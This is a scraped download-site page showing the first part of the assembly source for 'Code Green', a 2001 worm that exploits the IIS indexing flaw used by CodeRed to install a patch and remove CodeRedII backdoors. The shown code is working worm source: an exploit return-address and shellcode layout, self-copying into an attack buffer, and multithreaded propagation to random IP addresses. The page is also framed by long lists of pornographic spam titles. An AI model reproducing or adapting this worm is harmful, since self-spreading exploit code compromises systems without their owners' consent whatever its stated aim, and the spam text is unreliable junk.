亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? codegreen.asm

?? 蠕蟲—綠色代碼的源程序
?? ASM
?? 第 1 頁 / 共 3 頁
字號:
; Code Green (AntiCodeRed/IDQPatcher/whatever you want) V1.0 BETA [23.08.2001]
; assemble with:
; 	ML /Dmasm /c /Cx /coff CodeGreen.asm
; link with:
; 	LINK CodeGreen.obj /entry:_Entry /subsystem:windows /base:65536

;aims:
; * patch vulnerable systems
; * remove CodeRedII backdoors

;known problems:
; * plenty of probs ... ;(
; * propagation threads will stop (criticalsection), in case only one thread should block while sending
; * don't know if CodeGreen will correctly determine system language
; * don't know if CG will correctly apply patch to all systems
; * don't know if this code would work at all (had not enough time to exessively debug it;()

;known bugs:
; * currently none (inform me if you should find some weak code)

;credits:
; * @eEye: you guys surely did great work finding that bug
; * @MS: thanks for delivering a hotfix that works with system privileges
;	(plus: does not show messagebox when executed with system privileges;))
; * @CodeRedI author: thanks for this great exploit vector; good job
; * @CodeRedII author: sorry for providing code/the base for a code
;	that will/could potentially take your systems
; * @all: it's my first one ...
;	... so please don't flame me for weak coding ...
;	... be nice guys and send me your modified versions of this code.

;debug instructions:
; * assemble CodeGreen.asm
     (or remove txt-extension from CodeGreen.exe.txt [at your own risk])
; * debug your iis
; * go to 0x7801CBD3h (call ebx)
; * set breakpoint there
; * execute betaversion and walk through the code
; * be sure to stay offline, especially when using the preassembled version

;DISCLAIMER:
; (blahblah) ... i will not take responsibility for any bugy in this code
;(THIS IS ONLY A BETA VERSION, WHICH HAS BUGS IN IT).
;in fact i will not take responsibility for this code/included files at all.
;if you use this code or the pre-assembled version, you should know what you are doing.
;hell ... if you can't keep the code on your local iis, it's your fault.
;(i really don't know if this code is working at all
; ... currently it's 10:20 a.m. in germany and it's getting pretty late ...
; ... but tomorry i will be on vacation and perhaps there might be someone out there,
; who could finish my work.)

;sidenote: i did not have the time to optimize the code and to
	write some nice comments; sorry.

.386
.model flat, stdcall
option casemap:none

; ***** ***** Includes ***** *****

	include windows.inc
	include kernel32.inc
	include advapi32.inc
	include wsock32.inc
	includelib kernel32.lib
	includelib advapi32.lib
	includelib wsock32.lib

CGLen EQU CGEnd - CGBegin
CGInitLen EQU CGEnd - CGInit
UDataLen EQU UDataEnd - UDataBegin

.Code

CGInit EQU $
	_Entry:
		.Data
			OldProtection	DD	0
		.Code
			call AdjustCodeSegment
		AdjustCodeSegment:
			pop ebp
			mov eax, CGInitLen
			invoke VirtualProtect, ebp, eax, PAGE_EXECUTE_READWRITE, offset OldProtection
			cmp eax, TRUE
			je _Prologue2
				INT 3
				call GetLastError
				ret

	_Prologue2:
		.Data
			msvcrt_dll	DB	"msvcrt.dll", 0
		.Code
		invoke LoadLibrary, offset msvcrt_dll
			mov esi, eax						;esi -> msvcrt.dll
			add esi, 00050824h
			cmp eax, NULL
			jne _DEBUG ;_CGEntry
				INT 3
				call GetLastError
				ret

	_DEBUG:
		call LaengeCodeGreenCodeBerechnen

	_CGInit:
		.Data
			CGInit_WSAData			DW	0
							DW	0
							DB	257 DUP (0)
							DB	257 DUP (0)
							DW	0
							DW	0
							DD	0

			CGInit_CurrentIP		DD	7F000001h
			CGInit_IoctlSocket_Arg		DD	0
			CGInit_SockAddr			DW	0
							DW	0
							DD	0
							DD	2 DUP (0)
			CGInit_fd_set			DD	1
							DD	1
							DD	63 DUP (0)
		.Data?
			CGInit_CGCodeLen		DD	0 ;Code
			CGInit_CGLen			DD	0 ;Exploit+Code
			CGInit_NewCodeGreen		DB	6000 DUP (?)
		.Code
		call LaengeCodeGreenCodeBerechnen
		xor ebp, ebp ;set initial base-pointer
		jmp CGInit_Get_Used_PropagationThreadFunctions

			LaengeCodeGreenCodeBerechnen:
			pushad
				mov eax, CGLen
				mov [CGInit_CGCodeLen], eax
				lea esi, CodeGreenExploitLenStr

				xor edx, edx
				mov ecx, 1000
				div ecx ;EDX-EAX:ECX Rest:edx Erg:eax
				add eax, 48
				mov [esi], al
				mov eax, edx

				xor edx, edx
				mov ecx, 100
				div ecx
				add eax, 48
				mov [esi+1], al
				mov eax, edx

				xor edx, edx
				mov ecx, 10
				div ecx
				add eax, 48
				mov [esi+2], al
				mov eax, edx

				add eax, 48
				mov [esi+3], al
			popad
			ret


	CGInit_Get_Used_PropagationThreadFunctions:

		mov eax, EnterCriticalSection
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_EnterCriticalSection], eax

		mov eax, LeaveCriticalSection
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_LeaveCriticalSection], eax

		mov eax, socket
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_socket], eax

		mov eax, ioctlsocket
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_ioctlsocket], eax

		mov eax, connect
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_connect], eax

		mov eax, select
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_select], eax

		mov eax, send
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_send], eax

		mov eax, closesocket
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_closesocket], eax

		mov eax, GetSystemTime
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_GetSystemTime], eax

		mov eax, Sleep
		mov eax, [eax+2]
		mov eax, [eax]
		mov [ebp][ProcTable+API_Sleep], eax

	CGInit_BuildCodeGreen:
		lea esi, [ebp][CodeGreenExploit]
		mov eax, CGExploitLen + CGLen
		mov ecx, eax
		shr ecx, 2 ;div 4
		inc ecx
		mov ebx, ecx	;ebx: NrOfPushs
		CGInit_ReserveStackLoop:
			push 090909090h
			loop CGInit_ReserveStackLoop
			push ebx	;first DW in stack-field holds NrOfPushs

			mov [ebp][ptrNewCodeGreen], esp

		CGInit_CopyCodeGreenExploit:
			mov ecx, CGExploitLen ;eax
			lea edi, [esp+4]
			cld
			rep movsb

		CGInit_AddCodeGreenCode:
			lea esi, [ebp][_CGEntry]
			mov ecx, CGLen
			rep movsb

	CGInit_StartPropagation:
		mov [ebp][NrOfThreads], word ptr 0
		mov [ebp][EndThreadsFlag], byte ptr 0
		mov [ebp][CurrentIP], dword ptr 7F000000h ;does propagation thread only send one copy to the local IIS?
			;7FFFFFFDh ;=127.255.255.254 => no random IP generation, hits local Port 80 1 time

		CGInit_InitializeSockets:
				push offset CGInit_WSAData
				push 0101h
			CALL WSAStartup

		CGInit_Main_StartRandomGenerator:
			push 0
				push esp
				push 0
				push ebp
				lea eax, [ebp][RandomGenerator]
				push eax
				push 0
				push 0
			CALL CreateThread
			pop eax

		CGInit_Initialise_Critical_Sections:
			lea eax, [ebp][CritSec_GetIP]
				push eax
			CALL InitializeCriticalSection

			lea eax, [ebp][CritSec_SendCG]
				push eax
			CALL InitializeCriticalSection

		CGInit_Propagation_ThreadLoop:
			push 0
				push esp
				push 0
				push ebp
				lea eax, [ebp][_ThreadFunction]
				push eax
				push 0
				push 0
			CALL CreateThread
			pop eax

				push 100
			CALL Sleep
		cmp [ebp][NrOfThreads], word ptr MAX_NR_OF_THREADS
		jl CGInit_Propagation_ThreadLoop

	CGInit_ResetPropagation:

		CGInit_Main_WaitLoop:
				push 60000	;60 secs
			CALL Sleep

			CGInit_Main_StartRandomIPSearchAgain:
				lea edx, [ebp][CritSec_GetIP]	;EnterCriticalSection
					push edx
				CALL EnterCriticalSection
			mov [ebp][CurrentIP], dword ptr 0
				lea edx, [ebp][CritSec_GetIP]	;LeaveCriticalSection
					push edx
				CALL LeaveCriticalSection
		jmp CGInit_Main_WaitLoop

;*********************************************************************************************************************************
;************************************************   EXPLOIT VECTOR   *************************************************************
;*********************************************************************************************************************************
	;esp: 7801CBD3h;		[7801CBD3]:	FF 29	call ebx
	;      ->00D3F0E8 90                  nop
	;	00D3F0E9 90                   nop
	;	00D3F0EA 58                 ! pop         eax
	;	00D3F0EB 68 D3 CB 01 78     ! push        7801CBD3h
	;	00D3F0F0 90                   nop
	;	00D3F0F1 90                   nop
	;	00D3F0F2 90                   nop
	;	00D3F0F3 90                   nop
	;	00D3F0F4 90                   nop
	;	00D3F0F5 81 C3 00 03 00 00    add         ebx,300h
	;	00D3F0FB 8B 1B                mov         ebx,dword ptr [ebx]
	;	00D3F0FD 53                 ! push        ebx				(ebx: 00B02698h)
	;	00D3F0FE FF 53 78           ! call        dword ptr [ebx+78h]		pushes 00D3F100h
	;Stack:
	;	[esp]: 00D3F100h, 00B02698h(esp+4), 7801CBD3h(esp+8)
;*********************************************************************************************************************************
;**************************************************   WORM CODE   ****************************************************************
;*********************************************************************************************************************************
CGBegin EQU $
	_CGEntry:
		call _GetEIP
	_GetEIP:
			;00011000 E8 00 00 00 00       call        00011005
			;00011005 5D                   pop         ebp				;ebp > 00011005 z.B. ebp=00401005
			;00011006 B8 06 10 01 00       mov         eax,11006h
			;0001100B 48                   dec         eax				;eax=11005 (STATISCH!)
			;0001100C 55                   push        ebp
			;0001100D 2B E8                sub         ebp,eax			;ebp = ebp - eax	=> Variablenangleichung m鰃lich!
			;0001100F 58                   pop         eax
			;00011010 83 E8 05             sub         eax,5			;eax -> _Entry		=> wir haben komfortablen Zeiger auf den VirenCode!

		pop ebp
		mov eax, $
		dec eax							;eax=11005 (STATISCH!); d.h.: eax zeigt auf "pop ebp"
		push ebp
			sub ebp, eax					;ebp -> (_CGEntry - eax); d.h.: ebp + offset VAR = EffectiveAddressOf Var
		pop eax
		sub eax, 5						;eax -> _CGEntry (VARIABEL!)
		;mov [ebp][BasePointerCode], eax

	push ebp			;Push the BasePointer to stack

	;**********************************************************************************
	;***                              init                                     ***
	;**********************************************************************************

	_GetMsvcrtBaseAndSearchGetProcAddrEntry:
		mov esi, 78000000h ;[esp+12]			;esi: 7801CBD3h (see above)

		;call SearchMZHeader

		lea ebx, [ebp][Str_GetProcAddr]
		mov ecx, Len_GetProcAddr
		mov ebp, dword ptr esi

		mov esi, dword ptr [esi+3Ch]
		add esi, ebp

		mov esi, dword ptr [esi+80h]	;78h=ExportTable 80h=ImportTable
		add esi, ebp

		mov edi, esi			;edi -> ImageImportTable
		sub edi, 14h
		SearchIMAGE_IMPORT_DESCRIPTORs:
			add edi, 14h		;edi -> nextImportDescriptor
			mov esi, [edi+12]		;esi -> Name
			add esi, ebp
			mov esi, [esi]
			cmp esi, "NREK"
			jne SearchIMAGE_IMPORT_DESCRIPTORs

		IMAGE_KERNEL_IMPORT_DESCRIPTOR_Found:	;edi -> KernelImportDescriptor
			mov esi, [edi+10h]		;esi -> PIMAGE_THUNK_DATA (Address-Table)
			add esi, ebp		;[ebp][MsvcrtBase]
			mov edi, [edi]			;edi -> IMAGE_IMPORT_BY_NAME - Pointers (Name-Table)
			add edi, ebp		;[ebp][MsvcrtBase]

			xchg ebx, esi			;ebx=esi; esi -> Str_GetProcAddr

			xor edx, edx			;edx : Z鋒ler

			cld
		SearchPointerTableLoop:
			inc edx		
			pushad
				add [esp], dword ptr 4 ;"add edi, 4" after "popad"
				mov edi, [edi]
				add edi, ebp
				add edi, 2		;edi -> ProcName ;shl edi ...
				CompareTheTwoNames:
					repe cmpsb
			popad
			jnz SearchPointerTableLoop ;the strings are not equal

		FunctionFound: ;edx: NrIn_IMPORT_TABLE
			dec edx
			shl edx, 2 ;edx=edx*4
			add ebx, edx
			mov edx, [ebx]						;EDX: GetProcAddr

	pop ebp
		mov [ebp][ProcTable+API_GetProcAddr], edx
		mov esi, edx

		call SearchMZHeader		;esi -> KernelBase

		lea edi, [ebp][DllTable]
	push edi
		mov [edi], esi

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产风韵犹存在线视精品| 精品视频一区三区九区| 欧美性猛交xxxx乱大交退制版| 欧美性高清videossexo| 久久久久久久久久久久电影| 亚洲自拍偷拍欧美| 国产成人aaaa| 久久久久久久免费视频了| 亚洲午夜羞羞片| 99精品国产热久久91蜜凸| 精品少妇一区二区三区免费观看| 一区二区三区在线播| 国产精品自在在线| 日韩一级精品视频在线观看| 亚洲青青青在线视频| 国产91丝袜在线播放九色| 日韩欧美你懂的| 视频在线在亚洲| 欧美日韩小视频| 一区二区三区蜜桃网| av毛片久久久久**hd| 亚洲国产精品ⅴa在线观看| 久久se精品一区精品二区| 91精品蜜臀在线一区尤物| 亚洲久本草在线中文字幕| 91看片淫黄大片一级在线观看| 中文字幕二三区不卡| 国产成人三级在线观看| 国产午夜精品美女毛片视频| 久草中文综合在线| 日韩美女视频一区二区在线观看| 偷拍亚洲欧洲综合| 欧美一区二区视频网站| 日韩av在线播放中文字幕| 欧美一级xxx| 久久精品国产亚洲高清剧情介绍| 91精品国产丝袜白色高跟鞋| 日本中文一区二区三区| 欧美日韩精品一区二区在线播放 | 91在线视频免费观看| 国产精品久久久久天堂| 99r精品视频| 亚洲一区二区三区四区中文字幕| 精品久久久久久久人人人人传媒 | 国产69精品久久久久毛片| 日韩欧美成人一区| 国产乱码精品一区二区三区av| 欧美高清一级片在线观看| av网站免费线看精品| 亚洲伊人伊色伊影伊综合网| 538prom精品视频线放| 久久99久久久久久久久久久| 久久久久久久久久久99999| 成人av综合在线| 亚洲成人在线免费| 久久综合狠狠综合| av亚洲产国偷v产偷v自拍| 亚洲午夜成aⅴ人片| 欧美一级高清大全免费观看| 国产久卡久卡久卡久卡视频精品| 国产精品每日更新| 欧美精品一二三| 国产河南妇女毛片精品久久久| 亚洲日本青草视频在线怡红院| 欧美日韩在线播放三区四区| 激情欧美一区二区三区在线观看| 国产精品乱码久久久久久| 欧美系列在线观看| 国产成人在线电影| 91理论电影在线观看| 日韩和欧美一区二区| 国产人成一区二区三区影院| 欧美亚洲免费在线一区| 久久99这里只有精品| 亚洲欧美日韩中文播放| 欧美电视剧在线看免费| 91久久人澡人人添人人爽欧美| 精品一区二区三区蜜桃| 亚洲精品国产无天堂网2021| 日韩美女一区二区三区四区| 日本福利一区二区| 国产精品一区2区| 三级久久三级久久| 国产精品久久久久aaaa| 日韩美女天天操| 欧美精品乱人伦久久久久久| 懂色av一区二区三区蜜臀| 日本不卡在线视频| 亚洲综合清纯丝袜自拍| 国产精品国产三级国产普通话99 | 国产精品国产a| 日韩欧美国产一区在线观看| 色欧美88888久久久久久影院| 国产九色精品成人porny| 视频在线在亚洲| 亚洲午夜精品在线| 亚洲欧美日韩国产一区二区三区 | 亚洲欧美在线另类| 久久精品人人做人人综合| 在线综合视频播放| 色悠悠久久综合| 99久久精品免费看| 成人av电影免费在线播放| 国内精品不卡在线| 激情文学综合网| 精品一区二区av| 精品午夜一区二区三区在线观看| 日韩—二三区免费观看av| 亚洲成人av福利| 午夜成人免费电影| 日本成人中文字幕| 免费观看91视频大全| 日韩精品亚洲专区| 蜜桃91丨九色丨蝌蚪91桃色| 男人的j进女人的j一区| 欧美aaaaaa午夜精品| 久久99日本精品| 国产成人免费在线观看不卡| 国产91精品在线观看| 波多野结衣中文字幕一区二区三区| 国产成人免费9x9x人网站视频| 国产九色sp调教91| 不卡av在线网| 在线观看成人免费视频| 欧美影院一区二区| 欧美一区二区高清| 久久综合色综合88| 中文字幕av一区二区三区高 | 视频一区欧美日韩| 婷婷开心久久网| 精品一区二区三区日韩| 国模一区二区三区白浆| 国产精品亚洲一区二区三区妖精| 国产成人日日夜夜| 色老头久久综合| 91精品国产91热久久久做人人| 精品国产乱码久久久久久久| 日本一区二区三区国色天香 | 欧美亚洲国产bt| 制服丝袜中文字幕一区| 精品日韩在线观看| 国产精品毛片久久久久久| 一个色妞综合视频在线观看| 丝袜亚洲另类欧美| 高清shemale亚洲人妖| 欧美亚洲愉拍一区二区| 精品噜噜噜噜久久久久久久久试看| 国产亚洲成av人在线观看导航| 亚洲麻豆国产自偷在线| 日本不卡一二三| 白白色 亚洲乱淫| 欧美一区日本一区韩国一区| 国产清纯白嫩初高生在线观看91 | 欧美色图片你懂的| 久久影院午夜片一区| 亚洲欧洲综合另类| 激情伊人五月天久久综合| 99国产精品国产精品毛片| 欧美成人精品3d动漫h| 中文字幕在线一区| 美女视频网站久久| 欧美在线不卡视频| 国产嫩草影院久久久久| 日本视频一区二区| 色综合久久精品| 国产日韩欧美激情| 蜜桃精品在线观看| 欧美日韩在线精品一区二区三区激情| 国产欧美视频一区二区三区| 午夜精品久久久久久不卡8050| 国产99久久久久| 欧美mv日韩mv国产网站app| 亚洲最大的成人av| 成人黄色电影在线| 亚洲精品在线电影| 日韩中文字幕不卡| 色婷婷久久99综合精品jk白丝| 精品国产乱码久久久久久久久| 亚洲成人av资源| 91黄色免费观看| 1区2区3区精品视频| 国产成人啪免费观看软件| 26uuu欧美| 激情小说欧美图片| 精品久久一区二区| 麻豆精品在线播放| 日韩一级黄色大片| 蜜臀av一区二区| 欧美一级在线视频| 日韩中文欧美在线| 欧美精品第1页| 日本欧美加勒比视频| 欧美三级视频在线观看| 亚洲国产你懂的| 欧美在线三级电影| 亚洲电影第三页| 91精品在线免费| 青青青爽久久午夜综合久久午夜 | 在线国产电影不卡| 亚洲男人电影天堂|